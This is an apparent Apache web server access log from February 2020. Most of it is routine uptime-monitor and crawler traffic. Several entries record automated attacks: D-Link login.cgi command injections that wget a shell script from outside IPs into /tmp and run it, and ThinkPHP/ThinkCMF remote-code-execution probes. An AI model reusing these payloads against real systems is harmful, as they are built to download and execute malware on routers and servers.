212.91.246.72 - - [27/Feb/2020:21:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [27/Feb/2020:21:27:15 +0100] "GET / HTTP/1.1" 400 6270 "-" "-"
212.91.246.72 - - [27/Feb/2020:21:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.244.20.43 - - [27/Feb/2020:21:35:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:21:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.91.246.248 - - [27/Feb/2020:21:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15"
95.91.246.248 - - [27/Feb/2020:21:42:45 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15"
212.91.246.72 - - [27/Feb/2020:21:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.226 - - [27/Feb/2020:21:45:07 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:21:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.81.13.234 - - [27/Feb/2020:21:46:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:21:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [27/Feb/2020:21:54:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:21:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.0.227.113 - - [27/Feb/2020:21:58:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:21:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.171 - - [27/Feb/2020:22:11:13 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [27/Feb/2020:22:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.77.167.94 - - [27/Feb/2020:22:11:42 +0100] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [27/Feb/2020:22:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.140.229.58 - - [27/Feb/2020:22:21:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:22:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.207.243.56 - - [27/Feb/2020:22:26:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.209.154 - - [27/Feb/2020:22:26:58 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:22:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.30 - - [27/Feb/2020:22:28:05 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:22:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [27/Feb/2020:22:34:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:22:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.171.79.224 - - [27/Feb/2020:22:40:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.102.226.187 - - [27/Feb/2020:22:41:15 +0100] "GET / HTTP/1.1" 400 6170 "-" "-"
212.91.246.72 - - [27/Feb/2020:22:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.143.84.252 - - [27/Feb/2020:22:43:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
119.93.235.198 - - [27/Feb/2020:22:44:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:22:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.49.122.121 - - [27/Feb/2020:22:46:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:22:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.34.53.204 - - [27/Feb/2020:22:47:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
24.90.76.121 - - [27/Feb/2020:22:47:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:22:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.34.53.204 - - [27/Feb/2020:22:47:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:22:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.167.142 - - [27/Feb/2020:22:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.167.142 - - [27/Feb/2020:22:49:52 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.167.142 - - [27/Feb/2020:22:49:52 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.167.142 - - [27/Feb/2020:22:49:53 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.167.142 - - [27/Feb/2020:22:49:54 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [27/Feb/2020:22:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.151.240.240 - - [27/Feb/2020:22:51:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:22:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.68.137.149 - - [27/Feb/2020:22:56:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:22:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.20.170.148 - - [27/Feb/2020:22:56:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:22:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:22:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [27/Feb/2020:23:00:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
5.101.0.209 - - [27/Feb/2020:23:01:02 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:23:01:46 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.2.114.132 - - [27/Feb/2020:23:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:23:12:11 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [27/Feb/2020:23:12:12 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
74.110.212.54 - - [27/Feb/2020:23:12:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:23:12:58 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [27/Feb/2020:23:12:59 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.227.118.21 - - [27/Feb/2020:23:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:23:16:34 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
